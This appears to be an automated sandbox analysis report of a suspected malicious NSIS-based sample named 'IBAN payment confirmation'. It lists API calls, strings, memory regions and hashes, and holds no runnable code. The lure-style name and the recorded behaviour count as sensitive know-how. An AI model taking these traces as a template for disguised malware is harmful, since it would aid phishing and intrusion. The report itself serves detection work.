SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
GetWindowLongW.USER32(?,000000F0), ref: 00404D41
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
ShowWindow.USER32(?,00000005), ref: 00404D60
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
ImageList_Destroy.COMCTL32(?), ref: 00404F30
GlobalFree.KERNEL32(?), ref: 00404F40
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
SendMessageW.USER32(?,00001102,?,?), ref: 00405062
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
ShowWindow.USER32(?,00000000), ref: 004050DF
GetDlgItem.USER32(?,000003FE), ref: 004050EA
ShowWindow.USER32(00000000), ref: 004050F1

Strings

, xrefs: 004050C9
M, xrefs: 00404CBA
N, xrefs: 00404D9B

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
Opcode Fuzzy Hash: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

Function 0040335A Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 335stringfilecomCOMMON

Download Yara Rule

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNEL32(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,00434000,00000000), ref: 004033DB
CharNextW.USER32(00000000,00434000,00000020), ref: 00403402
GetTempPathW.KERNEL32(00000400,00436800,00000000,00000020), ref: 0040350B
GetWindowsDirectoryW.KERNEL32(00436800,000003FB), ref: 0040351C
lstrcatW.KERNEL32(00436800,\Temp), ref: 00403528
GetTempPathW.KERNEL32(000003FC,00436800,00436800,\Temp), ref: 0040353C
lstrcatW.KERNEL32(00436800,Low), ref: 00403544
SetEnvironmentVariableW.KERNEL32(TEMP,00436800,00436800,Low), ref: 00403555
SetEnvironmentVariableW.KERNEL32(TMP,00436800), ref: 0040355D
DeleteFileW.KERNEL32(00436000), ref: 00403571
OleUninitialize.OLE32(?), ref: 00403621
ExitProcess.KERNEL32 ref: 00403641
lstrcatW.KERNEL32(00436800,~nsu.tmp,00434000,00000000,?), ref: 0040364D
lstrcmpiW.KERNEL32(00436800,00435800,00436800,~nsu.tmp,00434000,00000000,?), ref: 00403659
CreateDirectoryW.KERNEL32(00436800,00000000), ref: 00403665
SetCurrentDirectoryW.KERNEL32(00436800), ref: 0040366C
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
CopyFileW.KERNEL32(00437800,0041FE90,00000001), ref: 004036DA
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
ExitProcess.KERNEL32 ref: 004037BC

Strings

SeShutdownPrivilege, xrefs: 0040376F
TMP, xrefs: 00403558
NSIS Error, xrefs: 004033B9
~nsu.tmp, xrefs: 00403647
\Temp, xrefs: 00403522
Error launching installer, xrefs: 004035D8
TEMP, xrefs: 00403550
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
Low, xrefs: 0040353E

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-1875889550
Opcode ID: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
Opcode Fuzzy Hash: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

Function 39C98AD8 Relevance: 23.0, Strings: 18, Instructions: 461COMMON

Download Yara Rule

Strings

Ljp, xrefs: 39C99070
PHq, xrefs: 39C98F09
PHq, xrefs: 39C98F1D
Ljp, xrefs: 39C98DA1
PHq, xrefs: 39C98FFE
Ljp, xrefs: 39C98F78
Ljp, xrefs: 39C98E99
PHq, xrefs: 39C990F9
PHq, xrefs: 39C9910D
Ljp, xrefs: 39C98D8B
Ljp, xrefs: 39C98E83
Ljp, xrefs: 39C98F8E
PHq, xrefs: 39C99012
PHq, xrefs: 39C98E25
", xrefs: 39C992AE
PHq, xrefs: 39C98E11
Ljp, xrefs: 39C99086
0op, xrefs: 39C98C27

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID: "$0op$Ljp$Ljp$Ljp$Ljp$Ljp$Ljp$Ljp$Ljp$PHq$PHq$PHq$PHq$PHq$PHq$PHq$PHq
API String ID: 0-2493580614
Opcode ID: a3bd374a0604e36949383408c93d34c700d329978450003c131d707b7d80fd7d
Instruction ID: 396c02c43a2e3677df7fade6056eb2acfaa4d63e41a3f42509adbae729baa884
Opcode Fuzzy Hash: a3bd374a0604e36949383408c93d34c700d329978450003c131d707b7d80fd7d
Instruction Fuzzy Hash: C5328E74E012188FEB64CF65D994BDDBBB2BF89300F1081A9D809AB361DB759E85CF50

Function 00405772 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00436800,771B2EE0,00434000), ref: 0040579B
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,00436800,771B2EE0,00434000), ref: 004057E3
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,00436800,771B2EE0,00434000), ref: 00405806
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,00436800,771B2EE0,00434000), ref: 0040580C
FindFirstFileW.KERNEL32(004246D8,?,?,?,00409014,?,004246D8,?,?,00436800,771B2EE0,00434000), ref: 0040581C
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
FindClose.KERNEL32(00000000), ref: 004058CB

Strings

\*.*, xrefs: 004057DD

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
Opcode Fuzzy Hash: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E

Function 39C98AD5 Relevance: 12.9, Strings: 10, Instructions: 359COMMON

Download Yara Rule

Strings

PHq, xrefs: 39C98F09
PHq, xrefs: 39C98F1D
PHq, xrefs: 39C98E25
PHq, xrefs: 39C98FFE
", xrefs: 39C992AE
PHq, xrefs: 39C9910D
PHq, xrefs: 39C990F9
PHq, xrefs: 39C98E11
0op, xrefs: 39C98C27
PHq, xrefs: 39C99012

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID: "$0op$PHq$PHq$PHq$PHq$PHq$PHq$PHq$PHq
API String ID: 0-69517759
Opcode ID: f8c3e1f3bfa4a11819400188763ffe619fa9cb2daa352f561b77b15684b8adfe
Instruction ID: f47215ba9f6c59c20b0e7f4e243548b186a60921b3df116e9376a3b94106c8b7
Opcode Fuzzy Hash: f8c3e1f3bfa4a11819400188763ffe619fa9cb2daa352f561b77b15684b8adfe
Instruction Fuzzy Hash: B40291B4E012188FEB68CF65D994BDDBBB2BF89300F1081A9D409A7361DB759E85CF50

Function 0040653F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00436800,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,00436800,?,771B2EE0,00405792,?,00436800,771B2EE0), ref: 00406238
FindClose.KERNEL32(00000000), ref: 00406244

Strings

WB, xrefs: 0040622E

Memory Dump Source

Source File: 0000000B.00000002.2504128483.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2504077604.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504164219.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504235398.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.2504282391.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD

Function 39C9563C Relevance: .6, Instructions: 609COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28d4f9a5c67e2d6a12645a8d318660bd3c690d2da2ef9e3c813f5e24ee2aec1d
Instruction ID: ce0d921b36b96a09c1d74e3de0ec211a9c4ec3ea249d0c5f280e229f34122279
Opcode Fuzzy Hash: 28d4f9a5c67e2d6a12645a8d318660bd3c690d2da2ef9e3c813f5e24ee2aec1d
Instruction Fuzzy Hash: 32628A74E01268CFEB65DF65C984BD9BBB2BB89300F1081EAD409AB355DB359E81CF50

Function 3983EFA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bf262c1d19971e41e324be20690760c8d190a37ad88583e2f60abd27797a6f9
Instruction ID: 4934fc4b85904e76207219bbddbcdede02c3a446aab376433f3e2e9827bd9c9d
Opcode Fuzzy Hash: 1bf262c1d19971e41e324be20690760c8d190a37ad88583e2f60abd27797a6f9
Instruction Fuzzy Hash: 5AC1B278E01218CFEB14DFA5C990B9DBBB2BF89300F5081A9D409AB355DB359E85CF90

Function 398397C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee52ff61fe3b5fe3441958f749a3330715a10026e9089fbdf3b9782bfd7430a2
Instruction ID: 2dae219273d3af9510d7138d641d773a26f0e19a303338412bf4959824c0192f
Opcode Fuzzy Hash: ee52ff61fe3b5fe3441958f749a3330715a10026e9089fbdf3b9782bfd7430a2
Instruction Fuzzy Hash: 93C1B078E01218CFEB14DFA5C994B9DBBB2BF89300F5081A9D409AB355DB359E86CF50

Function 3983C1D0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37baf838b1e1edb9f86fb0fb3c6c9d7d0dfa1013cd5d08210f8c9459ef851261
Instruction ID: e6e7bb29a85bd691969e003bcf009ba21f3e2facefcc742c03dc27a203bc14e7
Opcode Fuzzy Hash: 37baf838b1e1edb9f86fb0fb3c6c9d7d0dfa1013cd5d08210f8c9459ef851261
Instruction Fuzzy Hash: 8BC1B078E01218CFEB14DFA5C894B9DBBB2BF89300F5081A9D809AB355DB359E85CF50

Function 3983F3F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61b67a9be89d1e125a9b3c54ac3407fb36e2d83757647bd5eea9b0b34b2c96ad
Instruction ID: 30829d58dffeeacbbddbd452fecfa4793edf1fc7a244c97596700f1079a17c30
Opcode Fuzzy Hash: 61b67a9be89d1e125a9b3c54ac3407fb36e2d83757647bd5eea9b0b34b2c96ad
Instruction Fuzzy Hash: ABC1B278E01218CFEB54DFA5C994B9DBBB2BF89300F5081A9D409AB355DB349E85CF90

Function 3983D330 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78580ecf7cdd1bdcac37ff5b524992154c17de8f97a5c1284c7eedbf864ccf56
Instruction ID: 3f8aa87ab795f72d2ac626e563dec7980f20bf66a090eeb493b9312df956aff6
Opcode Fuzzy Hash: 78580ecf7cdd1bdcac37ff5b524992154c17de8f97a5c1284c7eedbf864ccf56
Instruction Fuzzy Hash: 6AC1C278E01218CFEB14DFA5C890B9DBBB2BF89304F6081A9D409AB355DB359E85CF50

Function 3983EB48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d0a090fd9ca1aa1b526223ff9b02c5f900cbc73cfd06cf44cc32d0b3a04f514
Instruction ID: 31df652094cca7257925063f093e5e96ec6eeed902c39151be91858cc2e610e0
Opcode Fuzzy Hash: 6d0a090fd9ca1aa1b526223ff9b02c5f900cbc73cfd06cf44cc32d0b3a04f514
Instruction Fuzzy Hash: 9CC1B178E01218CFEB54DFA9C990B9DBBB2BF89300F5081A9D409AB355DB359E85CF50

Function 39839370 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57aa4396427e366c0cccaf311f5342feebf9778453a633e47aa2696218ce88db
Instruction ID: 2273835019de57575130842732a9b193f05e4411c606ca46f7eaaec72ef2d420
Opcode Fuzzy Hash: 57aa4396427e366c0cccaf311f5342feebf9778453a633e47aa2696218ce88db
Instruction Fuzzy Hash: CFC1C178E01218CFEB14DFA5C994B9DBBB2BF89300F5081A9D409AB355DB359E86CF50

Function 3983BD78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7be96da02af384aec1820b51e7e50ab4cfa929f8de392113e0c2244631ef730
Instruction ID: 1feb4d92abce89d7da1acc0f4182af8ee23fcd43c6d56308d08dc08e1eac13a3
Opcode Fuzzy Hash: e7be96da02af384aec1820b51e7e50ab4cfa929f8de392113e0c2244631ef730
Instruction Fuzzy Hash: 5DC1C378E01218CFEB14DFA5C990B9DBBB2BF89300F5081A9D409AB355DB349E85DF50

Function 3983CA80 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ce91b9a5213d156b3f16f00b1f2f3f7c9b8fa400fe85d2a412437dff1b70e58
Instruction ID: 8cd16162827a6b5ba2d9520e90b0bf8e9e7ceac134589c4533b3ce4ebcf647cc
Opcode Fuzzy Hash: 4ce91b9a5213d156b3f16f00b1f2f3f7c9b8fa400fe85d2a412437dff1b70e58
Instruction Fuzzy Hash: 7FC1B278E01218CFEB14DFA5C990B9DBBB2BF89300F5081A9D809AB355DB359E85CF50

Function 3983A4D0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6be06c39942c503e85e33e3705d4a49eb7c91729b6bccb41fd32db3777a2c454
Instruction ID: 9844e9a3b46921b868116fba68f68d2b8e433585644f51784b8b24f6eb21f44b
Opcode Fuzzy Hash: 6be06c39942c503e85e33e3705d4a49eb7c91729b6bccb41fd32db3777a2c454
Instruction Fuzzy Hash: DBC1B078E01218CFEB14DFA5C894B9DBBB2BF89300F5081A9D409AB355DB349E86CF50

Function 3983CED8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86f469d2a72ca470100ee8fcc3a0888a3efbee2c5e29f5cfd7dddc19b7737e23
Instruction ID: ad2ab5c9ee119ead52321df7dc4144acb3ae7159a5ed1bf7b2258312ae14c62b
Opcode Fuzzy Hash: 86f469d2a72ca470100ee8fcc3a0888a3efbee2c5e29f5cfd7dddc19b7737e23
Instruction Fuzzy Hash: 62C1C178E01218CFEB14DFA5C880B9DBBB2BF89300F5081A9D809AB355DB359E85CF50

Function 3983E6F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a66995e90d9be41ab0adec4c89774c61e6165fd279e947952893cb4ca23d6e10
Instruction ID: 132d6f84015cbc8f03414f89af11fc0e70b4726fc0bd907f9551be5cdfd2a7b2
Opcode Fuzzy Hash: a66995e90d9be41ab0adec4c89774c61e6165fd279e947952893cb4ca23d6e10
Instruction Fuzzy Hash: 87C1B278E01218CFEB54DFA5C894B9DBBB2BF89300F5081A9D409AB355DB349E85CF50

Function 39839C20 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f07df7d27f6022f106bfe961674b572a05fef149921d53dcaabb81695ad150a
Instruction ID: aae3c4b85034d638e4591c726ee03d03c2a577f47f2dbe21faa3a0267a301540
Opcode Fuzzy Hash: 1f07df7d27f6022f106bfe961674b572a05fef149921d53dcaabb81695ad150a
Instruction Fuzzy Hash: C3C1C378E01218CFEB14DFA5C894B9DBBB2BF88300F5081A9D409AB355DB359E85CF50

Function 3983F850 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7122e0fa442fef3801b954c5a84006ae0981a1fb53f570d21b22ba00339e9866
Instruction ID: 7a5b3967c3fde74c481ce8f7730e63d8baa7de3b90d83a5642893bfb4b601fa5
Opcode Fuzzy Hash: 7122e0fa442fef3801b954c5a84006ae0981a1fb53f570d21b22ba00339e9866
Instruction Fuzzy Hash: 25C1C478E01218CFEB14DFA5C984B9DBBB2BF88300F5081A9D409AB355DB349E85CF90

Function 3983A078 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530823711.0000000039830000.00000040.00000800.00020000.00000000.sdmp, Offset: 39830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39830000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80a98177c818d406b1fa93865611a6a90762f7c160a52925f139794b18113d34
Instruction ID: b23ad73bc4f2a47863d5b5d5e247332625c38b46204bf2e4196b5972ac9f0ade
Opcode Fuzzy Hash: 80a98177c818d406b1fa93865611a6a90762f7c160a52925f139794b18113d34
Instruction Fuzzy Hash: 05C1B078E01218CFEB14DFA5C994B9DBBB2BF89300F6081A9D409AB355DB359E85CF50

Function 39C939F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17a28394e2a5a779301d9fd40cf0634bf27479936d97c6af92ef51277dad67a3
Instruction ID: f0dc8768b39bdd8468f89f7ddcc2bf88988f6a871c5bc7724fed0091527b27b1
Opcode Fuzzy Hash: 17a28394e2a5a779301d9fd40cf0634bf27479936d97c6af92ef51277dad67a3
Instruction Fuzzy Hash: 8AC1BE74E01218CFEB14DFA9C894B9DBBB2BF89300F6081A9D409AB355DB359E85CF50

Function 39C911A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2530929006.0000000039C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_39c90000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
